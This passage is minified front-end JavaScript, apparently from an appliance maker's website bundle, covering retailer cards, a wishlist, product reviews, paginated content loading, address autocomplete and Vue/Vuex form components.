RetailerCard__inStock">'.concat(r,"</div>"):'<div class="Pos(a) h9 W(100%) B(22px) RetailerCard__stockInfo RetailerCard__outOfStock">'.concat(n,"</div>"),'<div class="Pos(r) col-6 col-md-4 Mt(35px) Mt(10px)--sm Px(15px)"><a href="'.concat(i,'" target="_blank" class="D(b) Pos(r) H(208px) W(100%) Ta(c) RetailerCard__root"><div class="Pos(a) T(14px) End(16px) Cur(p)"><svg width="30" height="30" class="C($lochmara) Stk($lochmara) Icon__root"><use xlink:href="/etc.clientlibs/bekoglobal/clientlibs/bekoglobal/clientlib-all/resources/images/sprite.ed0e2290.svg#getOut"></use> <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect></svg></div> <div class="Pos(r) T(44%) RetailerCard__logo"><img class="C(#0081c9) Icon__root" src="').concat(t,'" alt="').concat(e,'"/></div>').concat(a,"</a></div>")}this.pushToDatalayer(e)}renderNoRetailerCtn(){$("#"+this.baseConf.div.retailersCtnId).html(""),$("#"+this.baseConf.div.noRetailerFoundCtnId).removeClass("hide")}readMarketingCode(){let e=document.getElementById(this.baseConf.div.marketingCodeId);if(null==e)return void console.error("Couldn't find marketingCode");let t=e.innerHTML;if(t)return t.trim();console.error("marketingCode is empty")}setCountryAndLanguage(){const e=$("body").data();this.baseConf.country=e.countryCode,this.baseConf.language=e.languageCode,this.baseConf.siteName=e.siteName}pushToDatalayer(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];const t=e.map((e=>e.Name)).join(",");Se.sendDataToGtm({event:"onlineRetailerSearch",storeType:"online",onlineRetailerName:t,numberOfOnlineRetailers:e.length})}};const Ce=new class{async request(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"GET";try{return{data:await $.ajax({url:e,data:t,method:i})}}catch(e){return{error:e}}}},De=new class{async getRecommendations(e,t,i){e.length&&"undefined"!=typeof adobe&&void 0!==adobe.target&&"function"==typeof adobe.target.getOffer&&(t||(t=[e.data("targetEntityId")||$("#globalTargetData").data("targetEntityId")||""]),t.map((t=>{const n={at_property:e.data("targetAtProperty")};""!==t&&(n["entity.id"]=t),e.data("onlyGetOffers")&&(n["entity.event.detailsOnly"]="true");const r=e.data("targetCategoryId")||$("#globalTargetData").data("targetCategoryId");r&&(n["entity.categoryId"]=r);const s=e.data("targetExcludedIds");s&&(n.excludedIds=s),adobe.target.getOffer({mbox:e.data("targetMbox"),params:n,success:t=>{if("function"==typeof i)i(t);else if(t&&t[0]&&e.data("renderArea")){const i=JSON.parse(t[0].content);let n=Object.keys(i.recDetailedResults).map((e=>i.recDetailedResults[e].pageUrl)).join(",");n=encodeURI(n);const r=e.data("ajaxUrl");this._renderRecommendations(r,n,e.data("renderArea"))}},error:(e,t)=>{console.error("Error",e,t)}})})))}async _renderRecommendations(e,t,i){const n="".concat(e,"?pages=").concat(t),r=await Ce.request(n);if(!r.error){const e=$(i);e.prepend(r.data),e.removeClass("d-none"),this._fixScrollAlignment()}}_fixScrollAlignment(){const e=$(".JS-fix-scroll-alignment");e.prop("scrollWidth")>e.width()&&e.css("justify-content","")}};let Ee;i(30381),new class{constructor(){this.selectors={wishListButton:".JS-wishlist-button",wishListComponent:".JS-wish-list-component",wishListZeroProductSection:".JS-zero-wish-list-item",wishListProductsContainer:".JS-wish-list-items-container",wishListClearAll:".JS-wish-list-clear-all-button",wishListClearAllMessage:".JS-wish-list-clear-all-message",wishListClearAllConfirm:".JS-wish-list-clear-all-confirm",wishListClearAllCancel:".JS-wish-list-clear-all-cancel",wishListRemoveBtn:".JS-wish-list-remove-btn",wishListUndoRemoveBtn:".JS-wish-list-undo-remove-button",wishListProduct:".JS-wish-list-product",wishListAdd:"#message-wishlist-add",wishListRemove:"#message-wishlist-remove",wishListError:"#message-wishlist-error"},this.dataSelectors={wishListProductId:"code"},this.timeOutContainer={},this.setUpEvents()}setUpEvents(){$(document).ready((()=>{if(this.initializeItems(),this.renderProducts(),this.isWishListPage()){const e=$.proxy(this.showClearAllMessage,this);$(this.selectors.wishListClearAll).click(e);const t=$.proxy(this.handleClearAllConfirm,this);$(this.selectors.wishListClearAllConfirm).click(t);const i=$.proxy(this.handleClearAllCancel,this);$(this.selectors.wishListClearAllCancel).click(i);const n=$.proxy(this.handleRemoveItem,this);$(document).on("click",this.selectors.wishListRemoveBtn,n);const r=$.proxy(this.handleUndoRemoveItem,this);$(document).on("click",this.selectors.wishListUndoRemoveBtn,r)}})),$(document).on("click",this.selectors.wishListButton,(e=>{const t=$(e.target).closest("button"),i=t.data(this.dataSelectors.wishListProductId);this.addOrRemoveWishList(i,t)}))}buildEndpointUrl(){const e=$(document.body).data("site-name"),t=$(document.body).data("country-code"),i=$(document.body).data("language-code");return"/rainbow/api/wishlist?site=".concat(e,"&country=").concat(t,"&language=").concat(i)}buildCookieName(){const e=$(document.body).data("site-name"),t=($(document.body).data("country-code")||"").toLowerCase(),i=($(document.body).data("language-code")||"").toLowerCase();return"Wishlist-".concat(e,"-").concat(t,"-").concat(i)}initializeItems(){const e=this.buildCookieName(),t=ge().get(e);if(fe.isEmpty(t))return;const i=we(t);if(fe.isEmpty(i))return;const n=i.data||[];fe.isEmpty(n)||this.writeItems(n)}readItems(){return($(document.body).attr("data-wishlist-items")||"").split(",").map((e=>e.trim())).filter((e=>""!==e))}writeItems(e){const t=e&&e.length?e.join(","):"";$(document.body).attr("data-wishlist-items",t),$(document).trigger("header:update")}addOrRemoveWishList(e,t){e&&$.ajax({type:"POST",dataType:"json",url:this.buildEndpointUrl(),data:{code:e},success:i=>{this.writeItems(i),i.includes(e.toString())?(t.addClass("active"),this.showAdded()):(t.removeClass("active"),this.showRemoved())},error:(e,t,i)=>{console.log("Failed to add or remove product into wishlist.",i)}})}showAdded(){const e=$(this.selectors.wishListAdd);e.hasClass("active")?(e.removeClass("active"),clearTimeout(Ee)):(e.addClass("active"),setTimeout((()=>{Ee=e.removeClass("active")}),3e3))}showRemoved(){const e=$(this.selectors.wishListRemove);e.hasClass("active")?(e.removeClass("active"),clearTimeout(Ee)):(e.addClass("active"),setTimeout((()=>{Ee=e.removeClass("active")}),3e3))}showError(){const e=$(this.selectors.wishListError);e.hasClass("active")?(e.removeClass("active"),clearTimeout(Ee)):(e.addClass("active"),setTimeout((()=>{Ee=e.removeClass("active")}),3e3))}isWishListPage(){return $(this.selectors.wishListComponent).length>0}getWishListComponentData(){const e=$(this.selectors.wishListComponent);return e.length<=0?null:e.data()}showZeroProductMessage(){$(this.selectors.wishListZeroProductSection).show()}hideZeroProductMessage(){$(this.selectors.wishListZeroProductSection).hide()}showClearAllButton(){$(this.selectors.wishListClearAll).show()}hideClearAllButton(){$(this.selectors.wishListClearAll).hide()}hideWishListContainer(){$(this.selectors.wishListProductsContainer).hide()}showClearAllMessage(e){e.preventDefault(),$(this.selectors.wishListClearAllMessage).addClass("active")}handleClearAllConfirm(e){e.preventDefault(),$.ajax({type:"DELETE",url:this.buildEndpointUrl(),success:()=>{this.writeItems([]),this.hideClearAllButton(),this.hideWishListContainer(),this.showZeroProductMessage(),$(this.selectors.wishListClearAllMessage).removeClass("active")},error:(e,t,i)=>{console.log("Failed to clear wishlist.",i)}})}handleClearAllCancel(e){e.preventDefault(),$(this.selectors.wishListClearAllMessage).removeClass("active")}handleRemoveItem(e){e.preventDefault();const t=$(e.target).closest(this.selectors.wishListProduct);t.addClass("removed");const i=t.data(this.dataSelectors.wishListProductId);this.timeOutContainer[i]||(this.timeOutContainer[i]=setTimeout((()=>{$.ajax({type:"POST",dataType:"json",url:this.buildEndpointUrl(),data:{code:i},success:e=>{this.writeItems(e),t.remove(),e.length<=0&&(this.showZeroProductMessage(),this.hideClearAllButton())},error:(e,t,i)=>{console.log("Failed to add or remove product into wishlist.",i)}})}),5e3))}handleUndoRemoveItem(e){e.preventDefault();const t=$(e.target).closest(this.selectors.wishListProduct),i=t.data(this.dataSelectors.wishListProductId);clearTimeout(this.timeOutContainer[i]),t.removeClass("removed")}renderProducts(){const e=this.readItems();if($(this.selectors.wishListButton).each(((t,i)=>{const n=$(i),r=n.data(this.dataSelectors.wishListProductId);r&&(e.includes(r.toString())?n.addClass("active"):n.removeClass("active"))})),!this.isWishListPage())return;if(e.length<=0)return this.showZeroProductMessage(),void this.hideClearAllButton();Te.insertLoader({container:$(this.selectors.wishListProductsContainer),center:!0});const t=this.getWishListComponentData(),i=filterXSS("".concat(t.ajaxUrl,"?").concat((new Date).getTime()));$(this.selectors.wishListProductsContainer).load(i,((e,t,i)=>{if($(e).length<=0)return this.showZeroProductMessage(),void $(this.selectors.wishListProductsContainer).html("");this.hideZeroProductMessage(),this.showClearAllButton()}))}};const Pe=new class{constructor(){this.selectors={prPageSection:".JS-pr-page-section",prPageSectionMobile:".JS-pr-page-section-mobile",prConfig:".JS-power-reviews-config",bekoGlobalSchema:"bekoglobal-pdp-schema-markup"},this.dataSelectors={pageType:"page-type",apiKey:"review-api-key",locale:"review-locale",merchantGroupId:"review-merchant-group-id",merchantId:"review-merchant-id",pageIds:"review-page-ids",reviewWrapperUrl:"review-wrapper-url",styleSheet:"review-custom-style-sheet"},this.config={}}initialize(){this._initBaseConfig(),this._render()}_initBaseConfig(){const e=$(this.selectors.prConfig);e&&(this.config={api_key:e.data(this.dataSelectors.apiKey),locale:e.data(this.dataSelectors.locale),merchant_group_id:e.data(this.dataSelectors.merchantGroupId),merchant_id:e.data(this.dataSelectors.merchantId),review_wrapper_url:e.data(this.dataSelectors.reviewWrapperUrl),style_sheet:e.data(this.dataSelectors.styleSheet),ENABLE_CLIENT_SIDE_STRUCTURED_DATA:!1})}_render(){const e=$(this.selectors.prConfig).data(this.dataSelectors.pageType);e&&("pdp"==e?(this._renderPdpSection(),this._renderPdpComponents()):"productList"==e?this._renderProductCardComponents():"reviewForm"==e&&this._renderWarComponents())}_renderPdpSection(){($(window).width()<=768?$(this.selectors.prPageSectionMobile):$(this.selectors.prPageSection)).attr("id","pr-reviewsnippet")}_getPageIds(){const e=$(this.selectors.prPageSection);if(e)return e.length>=2?$(e[e.length-2]).data(this.dataSelectors.pageIds):e.data(this.dataSelectors.pageIds)}_renderWarComponents(){this.config.components={Write:"pr-write"},this.config.on_submit=function(e,t){window.scrollTo(0,0)},this._renderConfig(this.config)}_renderPdpComponents(){const e=this._getPageIds();e&&(this.config.components={ReviewSnippet:"pr-reviewsnippet",ReviewDisplay:"pr-reviewdisplay"},this.config.page_id=e,this._renderConfig(this.config))}_renderProductCardComponents(){const e=this._getPageIds()+"";if(!e)return;const t=e.split(",");if(!t&&0===t.length)return;let i=[];t.forEach((e=>{const t={CategorySnippet:"snippet-"+e},n={...this.config,components:t,page_id:e};i.push(n)})),this._renderConfig(i)}_renderConfig(e){POWERREVIEWS.display.render(e)}};new class{constructor(){this._selectors={productCardList:"#productCardList",productCardContainer:"#productCardContainer",loadMoreButton:"#loadMoreProductButton",loadMore:".load-more",spinner:".spinner",loadingClass:"JS-wait-loading"},$(document).ready((()=>this._initialize()))}_initialize(){const e=$(this._selectors.productCardList);e&&$(this._selectors.productCardContainer)&&$(this._selectors.loadMoreButton)&&$(document).on("click",this._selectors.loadMoreButton,(async t=>{const i=e.data("ajax-url");let n=$(this._selectors.loadMoreButton).data("updated-current-page"),r=$(this._selectors.loadMoreButton).data("updated-current-query");this._displayLoadingAnimation();const s=$(t.currentTarget);if(s.hasClass(this._selectors.loadingClass))return;s.addClass(this._selectors.loadingClass);let a="".concat(i,"?query=").concat(r,"&currentPage=").concat(n+1);const o=await Ce.request(a);o.error||(n+=1,$(this._selectors.loadMoreButton).data("updated-current-page",n),$(this._selectors.productCardList).data("current-page",n),$(this._selectors.productCardContainer).append(o.data),this._updateLoadMoreButtonState(),xe.render(),Pe.initialize()),s.removeClass(this._selectors.loadingClass),this._hideLoadingAnimation(),$("button[data-modal-id='modal-where-to-buy']").show()}))}_updateLoadMoreButtonState(){const e=$(this._selectors.loadMoreButton);if(!e)return;const t=$("#hasNextPage");t.data("has-next-page")||e.remove(),t.remove()}_displayLoadingAnimation(){$(this._selectors.loadMore).addClass("hide"),$(this._selectors.spinner).removeClass("hide")}_hideLoadingAnimation(){$(this._selectors.loadMore).removeClass("hide"),$(this._selectors.spinner).addClass("hide")}};const Ae=new class{constructor(){this._apiLoaded=!1}loadApi(e,i){if(this._apiLoaded)return void(i&&i());const n="https://maps.googleapis.com/maps/api/js?key=".concat(e,"&libraries=places");t().getScript(n,(()=>{this._apiLoaded=!0,i&&i()}))}},Ie=new class{async holonextRequest(e){const t=await Ce.request(e);if(!t.data)throw new Error("Cannot get model for product: "+e);return t.data}};new class{constructor(){this._selectors={popularQuestionsContainer:".general-questions",accordion:"#accordion",loadMoreButton:"#loadMoreQuestionsButton"},$(document).ready((()=>this._initialize()))}_initialize(){const e=$(this._selectors.popularQuestionsContainer);e&&$(this._selectors.loadMoreButton)&&$(document).on("click",this._selectors.loadMoreButton,(async t=>{const i=e.data("ajax-url");let n=e.data("current-page"),r=e.data("page-count"),s="".concat(i,"?currentPage=").concat(n+1);const a=await Ce.request(s);a.error||(n+=1,$(this._selectors.popularQuestionsContainer).data("current-page",n),$(this._selectors.accordion).find(".row").add(a.data).appendTo(this._selectors.accordion),r===n&&$(this._selectors.loadMoreButton).remove())}))}},new class{constructor(){this._selectors={videosContainer:".JS-help-center-video-cards",videosContainerMobile:".JS-help-center-video-cards-mobile",videosItemContainer:".JS-help-center-videos-item",videosItemContainerMobile:".JS-help-center-videos-item-mobile",loadMoreButton:".JS-load-more-support-video-btn",loadMoreButtonMobile:".JS-load-more-support-video-mobile-btn",supportCategory:"#supportCategoryValue",productSupportCategory:"#productSupportCategoryValue"},$(document).ready((()=>this._initialize()))}_initialize(){let e=$(this._selectors.videosContainer),t=this._selectors.videosItemContainer,i=this._selectors.loadMoreButton;$(window).width()<=768&&(e=$(this._selectors.videosContainerMobile),t=this._selectors.videosItemContainerMobile,i=this._selectors.loadMoreButtonMobile),(e||t)&&i&&$(document).on("click",i,(async n=>{const r=e.data("videos-ajax-url");let s=e.data("videos-current-page"),a=e.data("videos-page-count"),o=s+1;const l=$(this._selectors.supportCategory),u=$(this._selectors.productSupportCategory),c=""===l.val()?"":"."+l.val(),d=r+"."+u.val()+c+".html?currentPage="+o,h=await Ce.request(d);if(!h.error){e.data("videos-current-page",o);const n=$(h.data).find(t);e.find(t).last().after(n),o>=a&&$(i).remove()}}))}},$((()=>{const e=$("#loadMoreSupportArticleButton"),t=$(".help-center-article"),i=t.data("article-ajax-url"),n=t.data("article-page-count"),r=$("#supportCategoryValue"),s=$("#productSupportCategoryValue"),a=$(".help-center-article-item");$(".hero-bk-category-block-item a").on("click",(function(e){e.preventDefault();let t=$(this).attr("href"),i=$(t).find("h3").offset().top-120;$("html, body").animate({scrollTop:i},600)})),n<=1&&e.hide(),e.click((async()=>{const o=t.data("article-current-page")+1,l=""===r.val()?"":"."+r.val(),u=s.val(),c=i+"."+u+l+".html?currentPage="+o;try{const i=await Ce.request(c);t.data("articleCurrentPage",o),t.find(a).last().parent().after(i.data),o>=n&&e.hide()}catch(e){t.find(a).last().parent().after(e)}}))})),new class{constructor(){this._selectors={supportFaqCardsContainer:".js-support-faq-cards",accordion:"#accordion",loadMoreSupportFaqButton:"#loadMoreSupportFaqButton",supportCategory:"#supportCategoryValue",productSupportCategory:"#productSupportCategoryValue"},$(document).ready((()=>this._initialize()))}_initialize(){const e=$(this._selectors.supportFaqCardsContainer);e&&$(this._selectors.loadMoreSupportFaqButton)&&$(document).on("click",this._selectors.loadMoreSupportFaqButton,(async()=>{const t=e.data("faq-ajax-url");let i=e.data("faq-current-page"),n=e.data("faq-page-count");const r=$(this._selectors.supportCategory),s=$(this._selectors.productSupportCategory);let a=""===r.val()?"":"."+r.val(),o=s.val(),l="".concat(t,".").concat(o).concat(a,".html?currentPage=").concat(i+1);const u=await Ce.request(l);u.error||(i+=1,$(this._selectors.supportFaqCardsContainer).data("faq-current-page",i),$(this._selectors.accordion).find(".row").add(u.data).appendTo(this._selectors.accordion),n===i&&$(this._selectors.loadMoreSupportFaqButton).remove())}))}},$((()=>{const e=$("#loadMoreProductGridButton"),t=($(".js-product-grid"),$(".js-product-grid-section")),i=t.data("grid-ajax-url"),n=t.data("grid-page-count");n<=1&&e.hide(),e.click((async()=>{const r=t.data("grid-current-page")+1,s=i+"?currentPage="+r;try{const i=await Ce.request(s);if(t.data("grid-current-page",r),!i||!$(i.data))return;$(i.data).appendTo(t.last()),r>=n&&e.hide()}catch(e){t.last().after(e)}}))}));const Oe={subpremise:"short_name",street_number:"short_name",route:"long_name",locality:"long_name",administrative_area_level_1:"long_name",administrative_area_level_2:"long_name",country:"long_name",postal_code:"short_name"},Ye={data(){const e={};return e[this.inputId]="",e.errorMessages={},e.isValid={},e},components:{},props:{inputId:{type:String},apiKey:{type:String},yandexApiKey:{type:String},searchLabel:{type:String},required:{type:Boolean},requiredText:{type:String}},methods:{onPlaceChanged(){let e=document.getElementById("street"),t=document.getElementById("apartment"),i=document.getElementById("zipCode"),n=document.getElementById("city"),r=document.getElementById("state"),s=document.getElementById("country");e&&(e.value="",this.toggleInputField(e)),t&&(t.value="",this.toggleInputField(t)),i&&(i.value="",this.toggleInputField(i)),n&&(n.value="",this.toggleInputField(n)),r&&(r.value="",this.toggleInputField(r)),s&&(s.value="",this.toggleInputField(s));let a=this.autocomplete.getPlace();if(!a.address_components)return;const o=this.formatData(a);o.route&&e&&(e.value=o.route,this.toggleInputField(e)),o.street_number&&t&&(t.value=o.street_number,this.toggleInputField(t)),o.postal_code&&i&&(i.value=o.postal_code,this.toggleInputField(i)),o.administrative_area_level_2&&n&&(n.value=o.administrative_area_level_2,this.toggleInputField(n)),o.administrative_area_level_1&&r&&(r.value=o.administrative_area_level_1,this.toggleInputField(r)),o.country&&s&&(s.value=o.country,this.toggleInputField(s))},formatData(e){const t={};if(!e.address_components)return t;for(let i=0;i<e.address_components.length;i++){const n=e.address_components[i].types[0];Oe[n]&&(t[n]=e.address_components[i][Oe[n]])}return t},initialize(){try{const e=document.getElementById("".concat(this.inputId,"_autocomplete"));this.autocomplete=new google.maps.places.Autocomplete(e),this.autocomplete.setFields(["address_components"]),this.autocomplete.addListener("place_changed",this.onPlaceChanged),google.maps.event.addDomListener(e,"keydown",(e=>{13===e.keyCode&&e.preventDefault()}))}catch(e){console.error("Failed to initialize google autocomplete.",e)}},initializeYandex(){try{const e=document.getElementById("".concat(this.inputId,"_autocomplete"));this.autocomplete=new ymaps.SuggestView(e)}catch(e){console.error("Failed to initialize yandex suggest.",e)}},updateInput(e){this[this.inputId]=e.target.value,this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:e.target.value,invalid:this.$v.$invalid}})},blurInput(e){this.toggleErrorMessages()},toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))},toggleInputField(e){e.dispatchEvent(new Event("input",{bubbles:!0})),e.focus(),e.blur()}},validations(){return F(this)},mounted(){if(this.errorMessages={required:{status:this.required,errorMessage:this.requiredText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.required&&this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()})),this.apiKey)Ae.loadApi(this.apiKey,(()=>{this.initialize()}));else if(this.yandexApiKey){const e=document.createElement("script");e.onload=()=>{ymaps.ready((()=>this.initializeYandex()))},e.id="ymaps",e.src="https://api-maps.yandex.ru/2.1/?apikey=".concat(this.yandexApiKey,"&lang=en_US"),document.body.append(e)}}},$e=I(Ye,pe,[],!1,null,null,null).exports;var je=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"Mt(60px) Mt(40px)--sm SupportContactsFeedback__select"},[i("div",{staticClass:"h7 W(310px)--md SupportContactsFeedback__optionTitle"},[e._v(e._s(e.dropdownLabel))]),e._v(" "),i("div",{staticClass:"Mstart(35px)--md Mt(20px)--sm JS-dropdown Dropdown__root"},[i("button",{staticClass:"JS-dropdown-button Button__root Button__secondary Button__fullWidthMobile Button__bigSecond changed",style:{"background-color":e.buttonColor},attrs:{"aria-label":"dropdown"}},[i("div",{staticClass:"buttonInner Bdrs(50%) DropdownTitlePosition"},[i("span",{staticClass:"JS-button-text"},[e._v(e._s(e.initialText))]),e._v(" "),i("svg",{staticClass:"Button__dropdown Icon__root",attrs:{width:"14",height:"9"}},[i("use",{attrs:{"xlink:href":"#dropdown"}})])])]),e._v(" "),i("ul",{staticClass:"fullWidth JS-dropdown-content Dropdown__dropdownContent"},e._l(e.items,(function(t){return i("li",{staticClass:"Dropdown__dropdownItem"},[i("button",{staticClass:"JS-dropdown-item-button JS-toggle-state-btn Dropdown__dropdownButton",attrs:{"aria-label":"dropdown",type:"button","data-set-state":"feedback","data-state-id":"feedback"},on:{click:function(i){e.onDropdownSelect(t)}}},[i("div",{staticClass:"buttonInner JS-option-title",attrs:{"data-title":t.title}},[e._v(e._s(t.title)+"\n                    ")])])])})),0)])])};je._withStripped=!0;const Ne=I({data:()=>({ctaButtons:null}),props:{dropdownLabel:{type:String},items:{type:Array},dropdownId:{type:String},initialText:{type:String},buttonColor:{type:String}},methods:{onDropdownSelect(e){this.$store.commit("setCtaButtons",{ctaButtons:e.ctaButtons,dropdownId:this.dropdownId}),this.$store.commit("setCategoryAndProduct",{selectedCategory:e.title}),this.$store.commit("setSelectedCategory",{selectedCategory:e.title})}}},je,[],!1,null,null,null).exports;var Re=function(){var e=this,t=e.$createElement,i=e._self._c||t;return e.selectedCategory&&(!e.hasProductSpecific||e.hasProductSpecific&&e.selectedProduct)?i("div",{staticClass:"container JS-cta-buttons",staticStyle:{"background-color":"rgba(233,236,239,.5)"}},[i("div",{staticClass:"Mt(55px) SupportContactsFeedback__title"},[e._v(e._s(e.description))]),e._v(" "),e._l(e.ctaButtons,(function(t){return i("div",{staticClass:"JS-align-center-left Mt(35px) Mt(5px)--md row DownloadDocsList__root",staticStyle:{transform:"translateX(0px)","justify-content":"center"}},[!t.isProductSpecific||e.selectedProduct?i("div",{staticClass:"Mt(20px)--sm col-md-6 DownloadDocsList__btnWrapper"},[i("a",{staticClass:"supportLink DownloadDocsBtn__root",attrs:{href:e.formattedLink(t)}},[i("div",{staticClass:"DownloadDocsBtn__titleWrapper"},[i("div",{staticClass:"DownloadDocsBtn__title"},[e._v(e._s(e.formattedTitle(t)))])]),e._v(" "),i("div",{staticClass:"DownloadDocsBtn__icon"},[i("svg",{staticClass:"Icon__root",attrs:{width:"19",height:"17"}},[i("use",{attrs:{"xlink:href":"#arrowForward"}})])])])]):e._e()])}))],2):e._e()};Re._withStripped=!0;const He={data:()=>({ctaButtons:[],selectedProduct:null,selectedCategory:null,hasProductSpecific:!1}),props:["description"],methods:{formattedLink(e){return e.isProductSpecific?this.selectedProduct?this.selectedProduct.link:null:e.link},formattedTitle(e){return e.isProductSpecific?this.selectedProduct?this.selectedProduct.title:null:e.title}},mounted(){this.$store.watch((e=>e.form.selectedCategory),(e=>{this.selectedCategory=e.selectedCategory})),this.$store.watch((e=>e.form.ctaButtons),(e=>{const t=[];Object.keys(e).forEach((i=>{const n=e[i];t.push(...n)})),this.ctaButtons=t,this.ctaButtons.forEach((e=>{e.isProductSpecific&&(this.hasProductSpecific=!0)}))})),this.$store.watch((e=>e.form.selectedProduct),(e=>{this.selectedProduct=e.selectedProduct}))}},Fe=I(He,Re,[],!1,null,null,null).exports;var Be=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"Mt(60px) Mt(40px)--sm SupportContactsFeedback__select"},[i("div",{staticClass:"h7 W(310px)--md SupportContactsFeedback__optionTitle"},[e._v(e._s(e.dropdownLabel))]),e._v(" "),i("div",{staticClass:"Mstart(35px)--md Mt(20px)--sm JS-dropdown Dropdown__root"},[i("button",{staticClass:"JS-dropdown-button Button__root Button__secondary Button__fullWidthMobile Button__bigSecond changed",style:{"background-color":e.buttonColor},attrs:{"aria-label":"dropdown"}},[i("div",{staticClass:"buttonInner Bdrs(50%)"},[i("span",{staticClass:"JS-button-text"},[e._v(e._s(e.initialText))]),e._v(" "),i("svg",{staticClass:"Button__dropdown Icon__root",attrs:{width:"14",height:"9"}},[i("use",{attrs:{"xlink:href":"#dropdown"}})])])]),e._v(" "),i("ul",{staticClass:"fullWidth JS-dropdown-content Dropdown__dropdownContent"},e._l(e.items,(function(t){return i("li",{staticClass:"Dropdown__dropdownItem"},[i("button",{staticClass:"JS-dropdown-item-button JS-toggle-state-btn Dropdown__dropdownButton",attrs:{"aria-label":"dropdown",type:"button","data-set-state":"feedback","data-state-id":"feedback"},on:{click:function(i){e.onDropdownSelect(t)}}},[i("div",{staticClass:"buttonInner JS-option-title",attrs:{"data-title":t.title}},[e._v(e._s(t.title)+"\n                    ")])])])})),0)])])};Be._withStripped=!0;const Ue=I({props:{dropdownLabel:{type:String},buttonColor:{type:String},initialText:{type:String},items:{type:Array}},methods:{onDropdownSelect(e){this.$store.commit("setSelectedProduct",{selectedProduct:e}),this.$store.commit("setCategoryAndProduct",{selectedProduct:e.title})}}},Be,[],!1,null,null,null).exports;var We=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("input",{attrs:{name:"selectedProductCategory",type:"hidden"},domProps:{value:e.selectedProduct}}),e._v(" "),i("input",{attrs:{name:"selectedCategory",type:"hidden"},domProps:{value:e.selectedCategory}})])};We._withStripped=!0;const ze={data:()=>({selectedProduct:"",selectedCategory:""}),mounted(){this.selectedCategory=this.$store.state.form.selectedProductAndCategory.selectedCategory,this.$store.watch((e=>e.form.selectedProductAndCategory),(e=>{this.selectedCategory=e.selectedCategory,this.selectedProduct=e.selectedProduct}))}},qe={ProductList:O,SubmitButton:N,InputTextField:J,InputCheckBox:X,InputFile:ee,InputRecaptcha:ae,InputSelect:ue,InputDatePicker:he,CategorySelect:Ne,CtaButtons:Fe,ProductSelect:Ue,InputAddress:$e,ProductAndCategory:I(ze,We,[],!1,null,null,null).exports};var Ve="undefined"!=typeof window&&window.__VUE_DEVTOOLS_GLOBAL_HOOK__;function Je(e,t){Object.keys(e).forEach((function(i){return t(e[i],i)}))}var Ge=function(e,t){this.runtime=t,this._children=Object.create(null),this._rawModule=e;var i=e.state;this.state=("function"==typeof i?i():i)||{}},Ke={namespaced:{configurable:!0}};Ke.namespaced.get=function(){return!!this._rawModule.namespaced},Ge.prototype.addChild=function(e,t){this._children[e]=t},Ge.prototype.removeChild=function(e){delete this._children[e]},Ge.prototype.getChild=function(e){return this._children[e]},Ge.prototype.update=function(e){this._rawModule.namespaced=e.namespaced,e.actions&&(this._rawModule.actions=e.actions),e.mutations&&(this._rawModule.mutations=e.mutations),e.getters&&(this._rawModule.getters=e.getters)},Ge.prototype.forEachChild=function(e){Je(this._children,e)},Ge.prototype.forEachGetter=function(e){this._rawModule.getters&&Je(this._rawModule.getters,e)},Ge.prototype.forEachAction=function(e){this._rawModule.actions&&Je(this._rawModule.actions,e)},Ge.prototype.forEachMutation=function(e){this._rawModule.mutations&&Je(this._rawModule.mutations,e)},Object.defineProperties(Ge.prototype,Ke);var Xe,Ze=function(e){this.register([],e,!1)};function Qe(e,t,i){if(t.update(i),i.modules)for(var n in i.modules){if(!t.getChild(n))return;Qe(e.concat(n),t.getChild(n),i.modules[n])}}Ze.prototype.get=function(e){return e.reduce((function(e,t){return e.getChild(t)}),this.root)},Ze.prototype.getNamespace=function(e){var t=this.root;return e.reduce((function(e,i){return e+((t=t.getChild(i)).namespaced?i+"/":"")}),"")},Ze.prototype.update=function(e){Qe([],this.root,e)},Ze.prototype.register=function(e,t,i){var n=this;void 0===i&&(i=!0);var r=new Ge(t,i);0===e.length?this.root=r:this.get(e.slice(0,-1)).addChild(e[e.length-1],r),t.modules&&Je(t.modules,(function(t,r){n.register(e.concat(r),t,i)}))},Ze.prototype.unregister=function(e){var t=this.get(e.slice(0,-1)),i=e[e.length-1];t.getChild(i).runtime&&t.removeChild(i)};var et=function(e){var t=this;void 0===e&&(e={}),!Xe&&"undefined"!=typeof window&&window.Vue&&lt(window.Vue);var i=e.plugins;void 0===i&&(i=[]);var n=e.strict;void 0===n&&(n=!1),this._committing=!1,this._actions=Object.create(null),this._actionSubscribers=[],this._mutations=Object.create(null),this._wrappedGetters=Object.create(null),this._modules=new Ze(e),this._modulesNamespaceMap=Object.create(null),this._subscribers=[],this._watcherVM=new Xe;var r=this,s=this.dispatch,a=this.commit;this.dispatch=function(e,t){return s.call(r,e,t)},this.commit=function(e,t,i){return a.call(r,e,t,i)},this.strict=n;var o=this._modules.root.state;st(this,o,[],this._modules.root),rt(this,o),i.forEach((function(e){return e(t)})),(void 0!==e.devtools?e.devtools:Xe.config.devtools)&&function(e){Ve&&(e._devtoolHook=Ve,Ve.emit("vuex:init",e),Ve.on("vuex:travel-to-state",(function(t){e.replaceState(t)})),e.subscribe((function(e,t){Ve.emit("vuex:mutation",e,t)})))}(this)},tt={state:{configurable:!0}};function it(e,t){return t.indexOf(e)<0&&t.push(e),function(){var i=t.indexOf(e);i>-1&&t.splice(i,1)}}function nt(e,t){e._actions=Object.create(null),e._mutations=Object.create(null),e._wrappedGetters=Object.create(null),e._modulesNamespaceMap=Object.create(null);var i=e.state;st(e,i,[],e._modules.root,!0),rt(e,i,t)}function rt(e,t,i){var n=e._vm;e.getters={};var r=e._wrappedGetters,s={};Je(r,(function(t,i){s[i]=function(){return t(e)},Object.defineProperty(e.getters,i,{get:function(){return e._vm[i]},enumerable:!0})}));var 